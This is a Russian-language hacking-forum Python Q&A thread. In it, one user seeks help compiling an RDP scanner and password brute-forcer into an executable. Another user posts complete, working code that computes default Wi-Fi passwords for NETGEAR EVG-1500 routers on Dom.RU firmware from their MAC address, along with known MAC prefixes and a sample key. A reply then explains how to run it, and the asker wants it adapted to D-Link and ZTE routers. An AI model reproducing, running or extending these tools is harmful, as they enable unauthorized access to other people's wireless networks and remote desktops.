[Python] вопрос/ответ.

Discussion in 'Python' started by De-visible, 21 Jan 2009.

  1. moonden

    moonden Member

    Joined:
    3 Jul 2010
    Messages:
    44
    Likes Received:
    7
    Reputations:
    0
    Доброго времени всем. Не могу нормально скомпилировать питон скрипт в exe. Скрипт написан для python 2.7, собснно для него компилировался. Пробовал pyinstaller и cx_Freeze.
    Это сканер-брутер RDP с рандомным выбором диапазонов. Сам скрипт
    При запуске в виде скрипта работает нормально:
    [​IMG]

    [​IMG]
    С pyinstaller компиляция вроде проходит успешно:
    [​IMG]
    Лог компиляции log_pyinstaller.txt
    Но при запуске, он начинает постоянно запускать сам себя:
    [​IMG]
    [​IMG]
    При этом сканирование и брут не работают.
    Точно такая же история и с cx_Freeze. Для компиляции использовался созданный по инструкции скрипт.
    Code:
    # coding: utf-8
    
    from cx_Freeze import setup, Executable
    
    executables = [Executable('scann.py')]
    
    setup(name='hello_world',
          version='0.0.1',
          description='My Hello World App!',
          executables=executables)
    Скрины выкладывать не буду, они такие же, а это лог компиляции.

    В архиве по ссылке выше, два варианта, scann.py это автономный скрипт, а scann_2.py работает в связке с конфигурационным conf.py. Пробовал компилировать оба варианта. Учитывая, что использовались два разных компилятора, я предполагаю, что проблема где-то в самом скрипте. По сути он запускается, но начинает почему-то рекурсивный самозапуск. Я в программировании полный ноль, могу только методом тыка что-то подправить/настроить, поэтому просьба знатокам, посмотрите пожалуйста, как можно заставить его работать. Заранее спасибо.
    P.S. Скрипт взят с экспы. Там я этот вопрос тоже задавал, но видимо ввиду давности темы, ответа не было.
     
    #1121 moonden, 1 Oct 2019
    Last edited: 1 Oct 2019
  2. Markus

    Markus New Member

    Joined:
    19 Nov 2018
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    попробуй через py2exe. И у тебя во второй строке scann.py ошибка нету такой кодировки utf_8.
    это не рекурсивный самозапуск а форк родительского процесса тк как используется многопроцессорность... Видать криво написана - если порождает дофига процессов или процессы виснут...Такие вещи уметь писать надо)

    ЗЫ пересобири с py2exe там сборка простая
     
    #1122 Markus, 2 Oct 2019
    Last edited: 2 Oct 2019
  3. moonden

    moonden Member

    Joined:
    3 Jul 2010
    Messages:
    44
    Likes Received:
    7
    Reputations:
    0
    Установил py2exe отсюда, инструкцию подсмотрел на хабре.
    Выдает ошибку "ImportError: No module named sip":
    Code:
    E:\ALLhack\Brut\NL_PythonRDP\rdpbrute>setup.py py2exe
    running py2exe
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\build
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\build\bdist.win-amd64
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\build\bdist.win-amd64\winexe
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\build\bdist.win-amd64\winexe\collect-2.7
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\build\bdist.win-amd64\winexe\bundle-2.7
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\build\bdist.win-amd64\winexe\temp
    creating E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\dist
    *** searching for required modules ***
    Traceback (most recent call last):
      File "E:\ALLhack\Brut\NL_PythonRDP\rdpbrute\setup.py", line 6, in <module>
        options={"py2exe": {"includes":["sip"]}}
      File "E:\Python_27\lib\distutils\core.py", line 151, in setup
        dist.run_commands()
      File "E:\Python_27\lib\distutils\dist.py", line 953, in run_commands
        self.run_command(cmd)
      File "E:\Python_27\lib\distutils\dist.py", line 972, in run_command
        cmd_obj.run()
      File "E:\Python_27\lib\site-packages\py2exe\build_exe.py", line 243, in run
        self._run()
      File "E:\Python_27\lib\site-packages\py2exe\build_exe.py", line 296, in _run
        self.find_needed_modules(mf, required_files, required_modules)
      File "E:\Python_27\lib\site-packages\py2exe\build_exe.py", line 1297, in find_needed_mod
    ules
        mf.import_hook(mod)
      File "E:\Python_27\lib\site-packages\py2exe\mf.py", line 719, in import_hook
        return Base.import_hook(self,name,caller,fromlist,level)
      File "E:\Python_27\lib\site-packages\py2exe\mf.py", line 136, in import_hook
        q, tail = self.find_head_package(parent, name)
      File "E:\Python_27\lib\site-packages\py2exe\mf.py", line 204, in find_head_package
        raise ImportError, "No module named " + qname
    ImportError: No module named sip
    
    Code:
    from distutils.core import setup
    import py2exe
     
    setup(
        windows=[{"script":"scann.py"}],
        options={"py2exe": {"includes":["sip"]}}
    )
    Как я понял, не находит некий модуль "sip" . Пробовал гуглить, но так и не понял, как его установить. Не смог найти понятного мануала. Пробовал методом тыка "pip install sip" и "pip install python-sip" выдает:
    Code:
      ERROR: Could not find a version that satisfies the requirement python-sip (from versions: none)
    ERROR: No matching distribution found for python-sip
    Вообщем с этим компилятором вообще ничего не понятно, на некоторых форумах советуют использовать pyinstaller, таки он собирает, но ничего не работает.
    Там же знак решетки, я так понимаю это комментарий, и у меня в текстовом редакторе есть utf-8
    [​IMG]
    Я тоже так подумал, раз два разных компилятора создают "рабочие" exe, которые с одинаковыми симптомами не работают. Вообщем вопрос открыт, что же можно с этим скриптом сделать?
     
  4. trineti2000

    trineti2000 New Member

    Joined:
    24 Oct 2019
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Всем доброго, помогите разобраться, скрипт на python 3 (генератор паролей), куда нужно вводить переменные чтобы скрипт начал работать

    # EVG1500_DomRU
    #
    # author: Felis-Sapiens
    #
    # Generate default wifi key for NETGEAR EVG-1500 (Dom.RU firmware)
    # Test case: BSSID=10:0D:7F:2F:A9:60, SSID=WiFi-DOM.ru-0583, key=efddb5a833
    #
    # SSID: WiFi-DOM.ru-XXXX
    # Known MACs:
    # 10:0D:7F:2F:XX:XX, 10:0D:7F:38:XX:XX, 10:0D:7F:39:XX:XX, 10:0D:7F:FD:XX:XX
    # 28:C6:8E:63:XX:XX, 28:C6:8E:64:XX:XX
    # 44:94:FC:24:XX:XX, 44:94:FC:26:XX:XX
    # 9C:D3:6D:0B:XX:XX, 9C:D3:6D:0C:XX:XX, 9C:D3:6D:0D:XX:XX, 9C:D3:6D:14:XX:XX, 9C:D3:6D:15:XX:XX


    import argparse
    from hashlib import md5

    def gen_key_evg1500(bssid):
    bssid = ''.join(filter(lambda x: x in '0123456789abcdefABCDEF', bssid))
    if len(bssid) != 12:
    raise ValueError(
    'ERROR: MAC address must be in the form of 12 hexdigits, '
    'perhaps with some delimiters (e.g. 01:23:45:67:89:AB)')
    bssid = (':'.join([bssid[i:i+2] for i in range(0,12,2)])).upper()

    bssid_hash = md5(bssid.encode('ASCII') + b'\n').hexdigest()
    key = ''.join(filter(lambda x: x not in '01', bssid_hash))[:10]
    ssid = ''.join(filter(lambda x: x.isdigit(), bssid_hash))[:4]
    return {'bssid': bssid, 'ssid': 'WiFi-DOM.ru-' + ssid, 'key': key}

    def main():
    parser = argparse.ArgumentParser(
    description='Generate default wifi key for NETGEAR EVG-1500'
    ' (Dom.RU firmware).')
    parser.add_argument('BSSID', help='MAC address of AP')
    args = parser.parse_args()

    ap_info = gen_key_evg1500(args.BSSID)
    print()
    print('BSSID:', ap_info['bssid'])
    print('SSID: ', ap_info['ssid'])
    print('key: ', ap_info['key'])

    if __name__ == "__main__":
    main()
     
  5. fandor9

    fandor9 Member

    Joined:
    16 Nov 2018
    Messages:
    80
    Likes Received:
    57
    Reputations:
    4
    Вам надо просто запустить скрипт под питоном (3-им) и передать ему значение BSSID:
    Code:
    python3 test.py 10:0D:7F:2F:A9:60
    и тогда вам выдаст имя вафли "WiFi-DOM.ru-0583" и пароль "efddb5a833"
     
  6. trineti2000

    trineti2000 New Member

    Joined:
    24 Oct 2019
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Извиняюсь за глупый вопрос, как передать значение ( с питоном на Вы)
     
  7. fandor9

    fandor9 Member

    Joined:
    16 Nov 2018
    Messages:
    80
    Likes Received:
    57
    Reputations:
    4
    Да просто в консоли задать как я указал. Вместо 10:0D:7F:2F:A9:60 поставьте ваш BSSID.
     
  8. trineti2000

    trineti2000 New Member

    Joined:
    24 Oct 2019
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Ок, помогло, спасибо!
     
  9. trineti2000

    trineti2000 New Member

    Joined:
    24 Oct 2019
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Еще вопрос, как сменить алгоритм чтобы можно было генерить для D-Link DIR-615, DIR-300, ZTE
     
    #1129 trineti2000, 28 Oct 2019
    Last edited: 29 Oct 2019
Loading...